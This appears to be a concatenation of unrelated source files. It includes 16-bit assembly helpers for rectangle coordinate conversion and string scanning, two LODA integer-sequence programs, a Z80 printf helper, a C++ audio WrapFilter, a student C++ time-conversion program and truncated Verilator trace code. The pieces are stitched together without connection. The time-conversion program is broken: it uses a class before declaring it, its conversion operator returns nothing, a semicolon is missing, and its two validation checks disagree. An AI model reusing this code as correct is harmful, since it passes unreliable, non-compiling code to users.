mov al,bitIdrIsNeg1 + bitCallPtOrigin + bitUseVHwwdOrigin
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;/* R C W T O R C L - converts rect in window coord. to rect in page coord */
;NATIVE RcwToRcl(hpldr, prcw, prcl)
;struct PLDR **hpldr;
;struct RC *prcw;
;struct RC *prcl;
;{
; struct WWD *pwwd;
; struct PT pt;
; int dxwToXl, dywToYl;
;
; pt = PtOrigin(hpldr,-1);
; pwwd = *vhwwdOrigin;
; dxwToXl = pwwd->rcePage.xeLeft + pwwd->xwMin + pt.xp;
; dywToYl = pwwd->rcePage.yeTop + pwwd->ywMin + pt.yp;
;
; prcl->xlLeft = prcw->xwLeft - dxwToXl;
; prcl->xlRight = prcw->xwRight - dxwToXl;
; prcl->ylTop = prcw->ywTop - dywToYl;
; prcl->ylBottom = prcw->ywBottom - dywToYl;
;}
; %%Function:RcwToRcl %%Owner:BRADV
PUBLIC RcwToRcl
RcwToRcl:
mov al,bitIdrIsNeg1 + bitCallPtOrigin + bitUseVHwwdOrigin + bitNegate
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;/* R C W T O R C P */
;/* Converts rc in dr coords into rc in window coords */
;NATIVE RcwToRcp(hpldr/* or hwwd*/, idr, prcw, prcp)
;struct PLDR **hpldr;
;struct RC *prcp, *prcw;
;{
; struct PT pt;
; struct WWD *pwwd;
; int dxPToW, dyPToW;
;
; pt = PtOrigin(hpldr, idr);
;
; pwwd = *vhwwdOrigin;
; dxPToW = pwwd->rcePage.xeLeft + pwwd->xwMin + pt.xl;
; dyPToW = pwwd->rcePage.yeTop + pwwd->ywMin + pt.yl;
;
; prcp->xwLeft = prcw->xpLeft - dxPToW;
; prcp->xwRight = prcw->xwRight - dxPToW;
; prcp->ywTop = prcw->ywTop - dyPToW;
; prcp->ywBottom = prcw->ywBottom - dyPToW;
;}
; %%Function:RcwToRcp %%Owner:BRADV
PUBLIC RcwToRcp
RcwToRcp:
mov al,bitCallPtOrigin + bitUseVHwwdOrigin + bitNegate
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;/* R C P T O R C W */
;/* Converts rc in dr coords into rc in window coords */
;NATIVE RcpToRcw(hpldr/* or hwwd*/, idr, prcp, prcw)
;struct PLDR **hpldr;
;struct RC *prcp, *prcw;
;{
; struct PT pt;
; struct WWD *pwwd;
; int dxPToW, dyPToW;
;
; pt = PtOrigin(hpldr, idr);
;
; pwwd = *vhwwdOrigin;
; dxPToW = pwwd->rcePage.xeLeft + pwwd->xwMin + pt.xl;
; dyPToW = pwwd->rcePage.yeTop + pwwd->ywMin + pt.yl;
;
; prcw->xwLeft = prcp->xpLeft + dxPToW;
; prcw->xwRight = prcp->xwRight + dxPToW;
; prcw->ywTop = prcp->ywTop + dyPToW;
; prcw->ywBottom = prcp->ywBottom + dyPToW;
;}
; %%Function:RcpToRcw %%Owner:BRADV
PUBLIC RcpToRcw
RcpToRcw:
mov al,bitCallPtOrigin + bitUseVHwwdOrigin
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;/* R C E T O R C W */
;/* converts a page rectangle into window coordinates. */
;NATIVE RceToRcw(pwwd, prce, prcw)
;struct WWD *pwwd;
;struct RC *prce;
;struct RC *prcw;
;{
; int dxeToXw = pwwd->xwMin;
; int dyeToYw = pwwd->ywMin;
;
; prcw->xwLeft = prce->xeLeft + dxeToXw;
; prcw->xwRight = prce->xeRight + dxeToXw;
; prcw->ywTop = prce->yeTop + dyeToYw;
; prcw->ywBottom = prce->yeBottom + dyeToYw;
;}
; %%Function:RceToRcw %%Owner:BRADV
PUBLIC RceToRcw
RceToRcw:
mov al,bitIdrIsNeg1
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;/* D R C L T O R C W
;* Converts drc rect in page coord to rc rect in window coordinates */
;/* Useful for getting a rcw from a dr.drcl */
;NATIVE DrclToRcw(hpldr/*or hwwd*/, pdrcl, prcw)
;struct PLDR **hpldr;
;struct DRC *pdrcl;
;struct RC *prcw;
;{
; struct RC rcl;
; DrcToRc(pdrcl, &rcl);
; RclToRcw(hpldr, &rcl, prcw);
;}
; %%Function:DrclToRcw %%Owner:BRADV
PUBLIC DrclToRcw
DrclToRcw:
mov al,bitIdrIsNeg1 + bitCallPtOrigin + bitUseVHwwdOrigin + bitFromDrc
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;/* D R C P T O R C L
;* Converts drc rect in DR coordinates to rc rect in page coordinates
;/* Useful for getting a rcl from a edl.drcp
;/* WARNING - this translates to the outermost l coordinate system,
;/* not necessarily the immediately enclosing l system. 'Tis
;/* better to use the w coordinate system in most cases, since
;/* it is unambiguous.
;/**/
;NATIVE DrcpToRcl(hpldr, idr, pdrcp, prcl)
;struct PLDR **hpldr;
;int idr;
;struct DRC *pdrcp;
;struct RC *prcl;
;{
; struct PT pt;
; pt = PtOrigin(hpldr, idr);
;
; prcl->xlLeft = pdrcp->xp + pt.xl;
; prcl->xlRight = prcl->xlLeft + pdrcp->dxp;
; prcl->ylTop = pdrcp->yp + pt.yl;
; prcl->ylBottom = prcl->ylTop + pdrcp->dyp;
;}
; %%Function:DrcpToRcl %%Owner:BRADV
PUBLIC DrcpToRcl
DrcpToRcl:
mov al,bitCallPtOrigin + bitFromDrc
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;/* D R C P T O R C W
; Converts drc rect in DR coordinates to rc rect in window coordinates */
;/* Useful for getting a rcw from a edl.drcp */
;NATIVE DrcpToRcw(hpldr/*or hwwd*/, idr, pdrcp, prcw)
;struct PLDR **hpldr;
;int idr;
;struct DRC *pdrcp;
;struct RC *prcw;
;{
; struct RC rcl;
; int dxlToXw;
; int dylToYw;
; struct WWD *pwwd;
;
; DrcpToRcl(hpldr, idr, pdrcp, &rcl);
;/* native code note: vhwwdOrigin is known to have a 0 backpointer! */
; RclToRcw(vhwwdOrigin, &rcl, prcw);
;}
; %%Function:DrcpToRcw %%Owner:BRADV
PUBLIC DrcpToRcw
DrcpToRcw:
mov al,bitCallPtOrigin + bitUseVHwwdOrigin + bitFromDrc
; db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
test al,bitIdrIsNeg1
je RCTC01
push ax ;adjust sp
push ds
pop es
push si
push di
mov di,sp
add di,4
lea si,[di+2]
movsw
movsw
movsw
movsw ;make room for the idr
mov wptr [di],-1 ;set the idr to -1
pop di
pop si
RCTC01:
; %%Function:RcToRcCommon %%Owner:BRADV
cProc RcToRcCommon,<PUBLIC,FAR>,<si,di>
ParmW hpldr
ParmW idr
ParmW prcSrc
ParmW prcDest
cBegin
; dxeToXw = pwwd->xwMin;
; dyeToYw = pwwd->ywMin;
;Assembler note: use hpldr as pwwd if bitCallPtOrigin is false
mov bx,[hpldr]
test al,bitCallPtOrigin
jne RCTC02
mov cx,[bx.xwMinWwd]
mov dx,[bx.ywMinWwd]
RCTC02:
je RCTC03
push ax ;save flags
; pt = PtOrigin(hpldr, idr);
push bx
push [idr]
ifdef DEBUG
call far ptr S_PtOrigin
else ;not DEBUG
push cs
call near ptr N_PtOrigin
endif ;DEBUG
xchg ax,cx
pop ax ;restore flags
RCTC03:
test al,bitUseVHwwdOrigin
je RCTC04
; pwwd = *vhwwdOrigin;
; dxPToW = pwwd->rcePage.xeLeft + pwwd->xwMin + pt.xl;
; dyPToW = pwwd->rcePage.yeTop + pwwd->ywMin + pt.yl;
mov bx,[vhwwdOrigin]
mov bx,[bx]
add cx,[bx.rcePageWwd.xeLeftRc]
add cx,[bx.xwMinWwd]
add dx,[bx.rcePageWwd.yeTopRc]
add dx,[bx.ywMinWwd]
RCTC04:
test al,bitNegate
je RCTC05
neg cx
neg dx
RCTC05:
; prcl->xlLeft = pdrcp->xp + pt.xl;
; prcl->xlRight = prcl->xlLeft + pdrcp->dxp;
; prcl->ylTop = pdrcp->yp + pt.yl;
; prcl->ylBottom = prcl->ylTop + pdrcp->dyp;
xchg ax,bx
push ds
pop es
mov si,[prcSrc]
mov di,[prcDest]
errnz <(xpLeftRc) - 0>
lodsw
add ax,cx
errnz <(xpLeftRc) - 0>
stosw
test bl,bitFromDrc
je RCTC06
xchg ax,cx
RCTC06:
errnz <(ypTopRc) - 2>
lodsw
add ax,dx
errnz <(ypTopRc) - 2>
stosw
test bl,bitFromDrc
je RCTC07
xchg ax,dx
RCTC07:
errnz <(xpRightRc) - 4>
lodsw
add ax,cx
errnz <(xpRightRc) - 4>
stosw
errnz <(ypBottomRc) - 6>
lodsw
add ax,dx
errnz <(ypBottomRc) - 6>
stosw
cEnd
;NATIVE XwFromXl(hpldr, xl)
;struct PLDR *hpldr;
;{
; struct PT pt;
; int xw;
;
; pt = PtOrigin(hpldr, -1);
; xw = xl + pt.xl + (*vhwwdOrigin)->rcePage.xeLeft + (*vhwwdOrigin)->xwMin;
; return(xw);
;}
; %%Function:XwFromXl %%Owner:BRADV
PUBLIC XwFromXl
XwFromXl:
db 0A8h ;turns next "stc" into "test al,immediate"
;also clears the carry flag
;NATIVE YwFromYl(hpldr, yl)
;struct PLDR *hpldr;
;{
; struct PT pt;
; int yw;
;
; pt = PtOrigin(hpldr, -1);
; yw = yl + pt.yl + (*vhwwdOrigin)->rcePage.yeTop + (*vhwwdOrigin)->ywMin;
; return(yw);
;}
; %%Function:YwFromYl %%Owner:BRADV
PUBLIC YwFromYl
YwFromYl:
stc
pop dx
pop cx
pop bx
mov ax,-1
push ax
push bx
push cx
push dx
sbb al,al
and al,bitReturnY ;0 if XwFromXl, bitReturnY if YwFromYl
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;NATIVE YwFromYp(hpldr/*hwwd*/, idr, yp)
;struct PLDR **hpldr;
;int idr;
;int yp;
;{
; struct PT pt;
; int yw;
;
; pt = PtOrigin(hpldr, idr);
; yw = yp + (*vhwwdOrigin)->rcePage.yeTop + (*vhwwdOrigin)->ywMin + pt.yl;
; return(yw);
;}
; %%Function:YwFromYp %%Owner:BRADV
PUBLIC YwFromYp
YwFromYp:
mov al,bitReturnY
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;/* Y P F R O M Y W */
;NATIVE YpFromYw(hpldr/*hwwd*/, idr, yw)
;struct PLDR **hpldr;
;int idr;
;int yw;
;{
; struct PT pt;
; int yp;
;
; pt = PtOrigin(hpldr, idr);
; yp = yw - (*vhwwdOrigin)->rcePage.yeTop - (*vhwwdOrigin)->ywMin - pt.yl;
; return(yp);
;}
; %%Function:YpFromYw %%Owner:BRADV
PUBLIC YpFromYw
YpFromYw:
mov al,bitNegate + bitReturnY
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;/* X W F R O M X P */
;NATIVE XwFromXp(hpldr/*hwwd*/, idr, xp)
;struct PLDR **hpldr;
;int idr;
;int xp;
;{
; struct PT pt;
; int xw;
;
; pt = PtOrigin(hpldr, idr);
; xw = xp + (*vhwwdOrigin)->rcePage.xeLeft + (*vhwwdOrigin)->xwMin + pt.xl;
; return(xw);
;}
; %%Function:XwFromXp %%Owner:BRADV
PUBLIC XwFromXp
XwFromXp:
mov al,0
db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
;//* X P F R O M X W */
;NATIVE XpFromXw(hpldr/*hwwd*/, idr, xw)
;struct PLDR **hpldr;
;int idr;
;int xw;
;{
; struct PT pt;
; int xp;
;
; pt = PtOrigin(hpldr, idr);
; xp = xw - (*vhwwdOrigin)->rcePage.xeLeft - (*vhwwdOrigin)->xwMin - pt.xl;
; return(xp);
;}
; %%Function:XpFromXw %%Owner:BRADV
PUBLIC XpFromXw
XpFromXw:
mov al,bitNegate
; db 03Dh ;turns next "mov al,immediate" into "cmp ax,immediate"
; %%Function:XOrYFromXOrY %%Owner:BRADV
cProc XOrYFromXOrY,<PUBLIC,FAR>,<>
ParmW hpldr
ParmW idr
ParmW XOrY
cBegin
push ax ;save flags
; pt = PtOrigin(hpldr, idr);
push [hpldr]
push [idr]
ifdef DEBUG
call far ptr S_PtOrigin
else ;not DEBUG
push cs
call near ptr N_PtOrigin
endif ;DEBUG
xchg ax,cx
pop ax ;restore flags
; pwwd = *vhwwdOrigin;
; dxPToW = pwwd->rcePage.xeLeft + pwwd->xwMin + pt.xl;
; dyPToW = pwwd->rcePage.yeTop + pwwd->ywMin + pt.yl;
mov bx,[vhwwdOrigin]
mov bx,[bx]
add cx,[bx.rcePageWwd.xeLeftRc]
add cx,[bx.xwMinWwd]
add dx,[bx.rcePageWwd.yeTopRc]
add dx,[bx.ywMinWwd]
test al,bitNegate
je XOYFXOY02
neg cx
neg dx
XOYFXOY02:
add cx,[XOrY]
add dx,[XOrY]
test al,bitReturnY
jne XOYFXOY03
mov dx,cx
XOYFXOY03:
xchg ax,dx
cEnd
;-------------------------------------------------------------------------
; FSectRc( prc1, prc2, prcDest )
;-------------------------------------------------------------------------
; %%FunctioN:FSectRc %%Owner:BRADV
cProc FSectRc,<PUBLIC,FAR,ATOMIC>,<si,di>
ParmW prc1
ParmW prc2
ParmW prcDest
; /* F S E C T R C */
; /* prcDest gets the rectangle that is the intersection of prc1 and prc2. */
; /* Return value is TRUE iff prcDest is non-null */
; /* case when prcDest == prc1 OR prcDest == prc2 */
; native FSectRc( prc1, prc2, prcDest )
; struct RC *prc1, *prc2, *prcDest;
; {
cBegin
; Assert( prcDest != NULL );
ifdef DEBUG
cmp [prcDest],0
jnz FSR01
push ax
push bx
push cx
push dx
mov ax,midResn2
mov bx,1024
cCall AssertProcForNative,<ax, bx>
pop dx
pop cx
pop bx
pop ax
FSR01:
endif ;DEBUG
mov si,[prc1]
mov di,[prc2]
mov bx,[prcDest]
;Assembler note: instead of doing all of this checking, just
;compute the result rc, and see if it is not empty
; if (!FEmptyRc( prc1 ) && !FEmptyRc( prc2 ) &&
; prc1->xpRight > prc2->xpLeft && prc2->xpRight > prc1->xpLeft &&
; prc1->ypBottom > prc2->ypTop && prc2->ypBottom > prc1-> ypTop)
; {
push ds
pop es
; prcDest->xpLeft = max( prc1->xpLeft, prc2->xpLeft );
; prcDest->ypTop = max( prc1->ypTop, prc2->ypTop );
errnz <(xpLeftRc) - 0>
errnz <(ypTopRc) - 2>
xor cx,cx
db 03Ch ;turns next "inc cx" into "cmp al,immediate"
FSR02:
inc cx
lodsw
scasw
jge FSR03
mov ax,[di-2]
FSR03:
mov [bx],ax
inc bx
inc bx
jcxz FSR02
; prcDest->xpRight = min( prc1->xpRight, prc2->xpRight );
; prcDest->ypBottom = min( prc1->ypBottom, prc2->ypBottom );
errnz <(xpRightRc) - 4>
errnz <(ypBottomRc) - 6>
xor cx,cx
db 03Ch ;turns next "inc cx" into "cmp al,immediate"
FSR04:
inc cx
lodsw
scasw
jle FSR05
mov ax,[di-2]
FSR05:
mov [bx],ax
inc bx
inc bx
jcxz FSR04
; return fTrue;
; }
; Assembler note: replace above test for
;
; if (!FEmptyRc( prc1 ) && !FEmptyRc( prc2 ) &&
; prc1->xpRight > prc2->xpLeft && prc2->xpRight > prc1->xpLeft &&
; prc1->ypBottom > prc2->ypTop && prc2->ypBottom > prc1-> ypTop)
;
; with a call to FNotEmptyPrc for the result rectangle
sub bx,cbRcMin
;LN_FNotEmptyPrc takes prc in bx and returns the result in ax
;Only ax and cx are altered.
call LN_FNotEmptyRc
jne FSR07
; SetWords( prcDest, 0, cwRC );
mov di,bx
mov cx,cwRC
rep stosw
; return fFalse;
FSR07:
; }
cEnd
;-------------------------------------------------------------------------
; FEmptyRc( prc )
;-------------------------------------------------------------------------
; /* F E M P T Y R C */
; native FEmptyRc( prc )
; struct RC *prc;
; { /* Return TRUE if the passed rect is empty (0 or negative height or width),
; FALSE otherwise. */
; %%Function:FEmptyRc %%Owner:BRADV
PUBLIC FEmptyRc
FEmptyRc:
pop ax
pop dx
pop bx
push dx
push ax
xor ax,ax
or bx,bx
je FER01
call LN_FNotEmptyRc
FER01:
inc ax
db 0CBh ;far ret
;LN_FNotEmptyPrc takes prc in bx and returns the result in ax
;Only ax and cx are altered.
LN_FNotEmptyRc:
; return !((prc == NULL) ||
; (prc->xpLeft >= prc->xpRight) ||
; (prc->ypTop >= prc->ypBottom));
errnz <fFalse>
xor ax,ax
mov cx,[bx.xpLeftRc]
cmp cx,[bx.xpRightRc]
jge FEP1
mov cx,[bx.ypTopRc]
cmp cx,[bx.ypBottomRc]
jge FEP1
dec ax
FEP1:
or ax,ax
; }
ret
;-----------------------------------------------------------------------------
; FSetRgchDiff (pchBase,pchNew, pchDiff,cch) - compare 2 even sized char arrays,
; setting a non-zero value into the corresponding fields of a 3rd such
; array. The 3rd array is assumed to have been set to 0's befire this routine
; was called. Returns non-zero if any differences were detected.
;
; This is an implementation of the following C code:
;
; /* how this works:
; Each word of the 2 test arrays in XOR'ed together. If they are the same,
; the result is 0, else non zero. The result is then OR'ed into the
; difference array, effectively turning on bits in any fields where there
; is a difference. The field in the difference array can then be tested
; for non-zero to see if it was different in the 2 arrays.
;
; We also keep an indicator, fDiff, originally set to 0, which gets
; or'ed into, so we can tell easily if ANY differences were detected.
; */
;
; while (cch--)
; {
; *pchDiff++ |= (chT = *pchBase++ ^ *pchNew++);
; fDiff |= chT;
; }
;
; return (fDiff != 0);
;}
;
;-----------------------------------------------------------------------------
; %%Function:FSetRgchDiff %%Owner:BRADV
cProc FSetRgchDiff,<FAR,PUBLIC,ATOMIC>,<SI,DI>
parmDP <pchBase>
parmDP <pchNew>
parmDP <pchDiff>
parmW <cch>
;/* **** -+-utility-+- **** */
cBegin
mov si,[pchBase]
mov di,[pchNew]
mov bx,[pchDiff]
mov cx,[cch]
xor dx,dx ;fDiff
shr cx,1
jnc FSRD01
lodsb ; value in pchBase into ax, increment si
xor al,[di] ; xor pchBase with pchNew
inc di
or [bx],al ; result into pchDiff
inc bx
or dl,al ; or result into fDiff
FSRD01:
jcxz FSRD03 ;cch == 0 ? finished
FSRD02:
lodsw ; value in pchBase into ax, increment si
xor ax,[di] ; xor pchBase with pwNew
inc di
inc di
or [bx],ax ; result into pchDiff
inc bx
inc bx
or dx,ax ; or result into fDiff
loop FSRD02 ; loop if cch-- != 0
FSRD03:
xchg ax,dx
cEnd
;-------------------------------------------------------------------------
; IScanLprgw( lprgw, w, iwMax )
;-------------------------------------------------------------------------
;/* I S C A N L P R G W */
;NATIVE IScanLprgw( lprgw, w, iwMax )
;WORD far *lprgw;
;WORD w;
;int iwMax;
;{
; int iw;
;
; for ( iw = 0 ; iw < iwMax ; iw++, lprgw++ )
; if (*lprgw == w)
; return iw;
;
; return iNil;
;}
; %%Function:IScanLprgw %%Owner:BRADV
PUBLIC IScanLprgw
IScanLprgw:
mov bx,sp
push di ;save caller's di
les di,[bx+8]
mov ax,[bx+6]
mov cx,[bx+4]
mov dx,cx
repne scasw
je ISL01
;Assembler note: we know cx is zero at this point
errnz <iNil - (-1)>
mov cx,dx
ISL01:
sub dx,cx
dec dx
xchg ax,dx
pop di ;restore caller's di
db 0CAh, 008h, 000h ;far ret pop 8 bytes
;-------------------------------------------------------------------------
; CchNonZeroPrefix(rgb, cbMac)
;-------------------------------------------------------------------------
; /* C C H N O N Z E R O P R E F I X */
; /* returns the cbMac reduced over the trailing zeroes in rgb. This is
; the number of non-zero previx characters.
; */
; native int CchNonZeroPrefix(rgb, cbMac)
; char *rgb;
; int cbMac;
; {
; %%Function:CchNonZeroPrefix %%Owner:BRADV
PUBLIC CchNonZeroPrefix
CchNonZeroPrefix:
pop ax
pop dx
pop cx
pop bx
push dx
push ax
push di ;save caller's di
; for (rgb += cbMac - 1; cbMac > 0 && *rgb == 0; rgb--, cbMac--)
; ;
push ds
pop es
mov di,bx
add di,cx
dec di
xor ax,ax
std
repe scasb
cld
je CNZP01
inc cx
CNZP01:
; return(cbMac);
xchg ax,cx
; }
pop di ;restore caller's di
db 0CBh ;far ret
;-------------------------------------------------------------------------
; CchCopyLpszCchMax(lpch1, lpch2, cchMax)
;-------------------------------------------------------------------------
;/* C C H C O P Y L P S Z C C H M A X */
;/* Copy one sz to another, but not more than cchMax characters (incl '\0') */
;/* %%Function:CchCopyLpszCchMax %%Owner:rosiep */
;int CchCopyLpszCchMax(lpch1, lpch2, cchMax)
;char far *lpch1;
;char far *lpch2;
;int cchMax;
;{
; int cch = 0;
; while (cch < cchMax && (*lpch2++ = *lpch1++) != 0)
; cch++;
;
; /* make sure it's null-terminated if we overflowed buffer */
; if (cch == cchMax)
; *(lpch2-1) = '\0';
;
; return cch;
;}
cProc CchCopyLpszCchMax,<FAR,PUBLIC,ATOMIC>,<si,di>
parmD <lpch1>
parmD <lpch2>
parmW <cchMax>
cBegin
les di,[lpch1]
push di
mov al,0
mov cx,0FFFFh
repne scasb
pop si
push es
pop ds
sub di,si
mov cx,[cchMax]
cmp cx,di
jbe CCLCM01
mov cx,di
CCLCM01:
push cx
les di,[lpch2]
rep movsb
push ss
pop ds
dec di
stosb
pop ax
cEnd
;/* I B S T F I N D S Z F F N */
;/* **** +-+utility+-+string **** */
;/* ****
;* Description: Given an hsttb of ffn's and a pointer to an ffn, return
;* the ibst for the string that matches the szFfn portion of the ffn,
;* ignoring the ffid portion. If no match, return iNil.
;* This is a variant of IbstFindSt in sttb.c.
;*
;* This routine assumes user input of font names and so it does
;* a CASE-INSENSITIVE string compare. It no longer
;* assumes you have already tested for the name "Default" since Tms Rmn
;* is now the default font, so we start looking at 0
;*
;** **** */
;
;/* %%Function: IbstFindSzFfn %%Owner: davidlu */
;
;EXPORT IbstFindSzFfn(hsttb, pffn)
;struct STTB **hsttb;
;struct FFN *pffn;
;{
; struct STTB *psttb = *hsttb;
; char *st2;
; int ibst;
PUBLIC N_IbstFindSzFfn
N_IbstFindSzFfn:
pop ax
pop dx
pop cx ;pffn
pop bx ;hsttb
push dx
push ax
push di ;save caller's di
push si ;save caller's si
mov di,cx
add di,(szFfn)
mov bx,[bx]
; Assert(!(*hsttb)->fExternal);
ifdef DEBUG
push ax
push bx
push cx
push dx
test [bx.fExternalSttb],maskFExternalSttb
je IFSF01
mov ax,midResn2
mov bx,1041 ;label # for native assert
cCall AssertProcForNative, <ax, bx>
IFSF01:
pop dx
pop cx
pop bx
pop ax
endif ;DEBUG
; for (ibst = 0; ibst < psttb->ibstMac; ibst++)
; {
xor si,si
mov dx,[bx.ibstMacSttb]
shl dx,1
add bx,(rgbstSttb)
IFSF02:
errnz <iNil - (-1)>
xor ax,ax
cmp si,dx
jae IFSF04
; st2 = PstFromSttb(hsttb, ibst);
push bx ;save &psttb->rgbst
;***Begin in-line PstFromSttb (assume !fExternal)
add bx,[bx+si]
;***End in-line PstFromSttb (assume !fExternal)
; if ( *st2 == *(CHAR *)pffn &&
mov al,[bx]
sub al,[di-(szFfn)]
jne IFSF03
; !FNeNcRgch(pffn->szFfn, ((struct FFN *)st2)->szFfn,
; CbSzOfPffn(pffn) - 1) )
;Call FNeNcSz here rather than FNeNcRgch to save code in the
;assembler version.
push dx ;save 2*ibstMac
add bx,(szFfn)
push di
push bx
push cs
call near ptr FNeNcSz
pop dx ;restore 2*ibstMac
IFSF03:
; return(ibst);
pop bx ;restore &psttb->rgbst
; }
inc si
inc si
or ax,ax
jne IFSF02
xchg ax,si
shr ax,1
; return(iNil);
;}
IFSF04:
dec ax
pop si ;restore caller's si
pop di ;restore caller's di
db 0CBh ;far ret
sEnd resn2
end
|
; A034870: Even-numbered rows of Pascal's triangle.
; 1,1,2,1,1,4,6,4,1,1,6,15,20,15,6,1,1,8,28,56,70,56,28,8,1,1,10,45,120,210,252,210,120,45,10,1,1,12,66,220,495,792,924,792,495,220,66,12,1,1,14,91,364,1001,2002,3003,3432,3003,2002,1001,364,91,14,1,1,16,120,560,1820,4368,8008,11440,12870,11440,8008,4368,1820,560,120,16,1,1,18,153,816,3060,8568,18564,31824,43758,48620,43758,31824,18564,8568,3060,816,153,18,1
lpb $0
sub $0,1
add $1,2
mov $2,$0
trn $0,$1
lpe
bin $1,$2
mov $0,$1
|
IF !__CPU_INTEL__ && !__CPU_GBZ80__
MODULE __printf_handle_llB
SECTION code_clib
PUBLIC __printf_handle_llB
EXTERN __printf_number64
__printf_handle_llB:
ld c,0 ;unsigned
ld (ix-9),2
res 1,(ix-4) ;disable '+' flag
jp __printf_number64
ENDIF
|
/**
* \file WrapFilter.cpp
*/
#include "WrapFilter.h"
#include <ATK/Core/Utilities.h>
#include <algorithm>
namespace ATK
{
template <typename DataType_, typename DataType__>
WrapFilter<DataType_, DataType__>::WrapFilter(gsl::index nb_input_ports,
gsl::index nb_output_ports,
const std::function<void(std::vector<InPointerFilter<DataType_>>& inputFilters,
std::vector<OutPointerFilter<DataType__>>& outputFilters,
std::vector<gsl::unique_ptr<BaseFilter>>& filters)>& fun)
: Parent(nb_input_ports, nb_output_ports)
{
for(size_t i = 0; i < nb_input_ports; ++i)
{
inputFilters.emplace_back(nullptr, 1, 0, false);
}
for(size_t i = 0; i < nb_output_ports; ++i)
{
outputFilters.emplace_back(nullptr, 1, 0, false);
}
for(size_t i = 0; i < nb_output_ports; ++i)
{
sink.add_filter(&outputFilters[i]);
}
fun(inputFilters, outputFilters, filters);
}
template <typename DataType_, typename DataType__>
void WrapFilter<DataType_, DataType__>::full_setup()
{
for(auto& filter: inputFilters)
{
filter.set_input_sampling_rate(get_input_sampling_rate());
filter.set_output_sampling_rate(get_input_sampling_rate());
}
for(auto& filter: outputFilters)
{
filter.set_input_sampling_rate(get_output_sampling_rate());
filter.set_output_sampling_rate(get_output_sampling_rate());
}
for(auto& filter: filters)
{
filter->set_input_sampling_rate(get_input_sampling_rate());
filter->set_output_sampling_rate(get_output_sampling_rate());
}
sink.set_input_sampling_rate(get_input_sampling_rate());
sink.set_output_sampling_rate(get_output_sampling_rate());
}
template <typename DataType_, typename DataType__>
void WrapFilter<DataType_, DataType__>::dry_run(gsl::index size)
{
reset();
sink.dryrun(size);
}
template <typename DataType_, typename DataType__>
void WrapFilter<DataType_, DataType__>::process_impl(gsl::index size) const
{
for(size_t i = 0; i < inputFilters.size(); ++i)
{
inputFilters[i].set_pointer(converted_inputs[i], size);
}
for(size_t i = 0; i < outputFilters.size(); ++i)
{
outputFilters[i].set_pointer(outputs[i], size);
}
sink.process(size);
}
template class WrapFilter<int64_t>;
template class WrapFilter<float>;
template class WrapFilter<double>;
} // namespace ATK
|
; A023479: n-37.
; -37,-36,-35,-34,-33,-32,-31,-30,-29,-28,-27,-26,-25,-24,-23,-22,-21,-20,-19,-18,-17,-16,-15,-14,-13,-12,-11,-10,-9,-8,-7,-6,-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
sub $0,37
mov $1,$0
|
//
//
//
//
#include<iostream>
#include<string.h>
using namespace std;
class railway_time{ // 00:00:00 to 23:59:59 OR t 01:00:00 to 12:59:59
int h, m, s;
public:
void getdata();
void putdata();
operator civil_time()
{
civil_time ct;
ct.h = h;
ct.m = m;
ct.s = s;
ct.time_period = "am";
}
};
void railway_time::getdata()
{
do{
cout << endl << "Enter Hour : ";
cin >> h;
cout << "Enter Minutes : ";
cin >> m;
cout << "Enter Seconds : ";
cin >> s;
if( h < 0 || m < 0 || s < 0 || h > 23 || m > 59 || s > 59 )
cout << endl << "Invalid Input...! Try Again.";
}while( h < 0 || m < 0 || s < 0 || h > 12 || m > 59 || s > 59 );
}
void railway_time::putdata()
{
cout << endl << "Time = " << h << ":" << m << ":" << s;
}
class civil_time{ // 00:00:00 to 23:59:59 OR t 01:00:00 to 12:59:59
int h, m, s;
string time_period;
public:
void putdata();
friend class railway_time;
};
void civil_time::putdata()
{
cout << endl << "Time = " << h << ":" << m << ":" << s << time_period;
}
int main()
{
railway_time rt;
civil_time ct
rt.getdata();
ct = rt;
rt.putdata();
ct.putdata();
return 0;
}
|
// Verilated -*- C++ -*-
// DESCRIPTION: Verilator output: Tracing implementation internals
#include "verilated_vcd_c.h"
#include "Vtop_fft__Syms.h"
//======================
void Vtop_fft::trace (VerilatedVcdC* tfp, int, int) {
tfp->spTrace()->addCallback (&Vtop_fft::traceInit, &Vtop_fft::traceFull, &Vtop_fft::traceChg, this);
}
void Vtop_fft::traceInit(VerilatedVcd* vcdp, void* userthis, uint32_t code) {
// Callback from vcd->open()
Vtop_fft* t=(Vtop_fft*)userthis;
Vtop_fft__Syms* __restrict vlSymsp = t->__VlSymsp; // Setup global symbol table
if (!Verilated::calcUnusedSigs()) vl_fatal(__FILE__,__LINE__,__FILE__,"Turning on wave traces requires Verilated::traceEverOn(true) call before time 0.");
vcdp->scopeEscape(' ');
t->traceInitThis (vlSymsp, vcdp, code);
vcdp->scopeEscape('.');
}
void Vtop_fft::traceFull(VerilatedVcd* vcdp, void* userthis, uint32_t code) {
// Callback from vcd->dump()
Vtop_fft* t=(Vtop_fft*)userthis;
Vtop_fft__Syms* __restrict vlSymsp = t->__VlSymsp; // Setup global symbol table
t->traceFullThis (vlSymsp, vcdp, code);
}
//======================
void Vtop_fft::traceInitThis(Vtop_fft__Syms* __restrict vlSymsp, VerilatedVcd* vcdp, uint32_t code) {
Vtop_fft* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp;
int c=code;
if (0 && vcdp && c) {} // Prevent unused
vcdp->module(vlSymsp->name()); // Setup signal names
// Body
{
vlTOPp->traceInitThis__1(vlSymsp, vcdp, code);
}
}
void Vtop_fft::traceFullThis(Vtop_fft__Syms* __restrict vlSymsp, VerilatedVcd* vcdp, uint32_t code) {
Vtop_fft* __restrict vlTOPp VL_ATTR_UNUSED = vlSymsp->TOPp;
int c=code;
if (0 && vcdp && c) {} // Prevent unused
// Body
{
vlTOPp->traceFullThis__1(vlSymsp, vcdp, code);
}
// Final
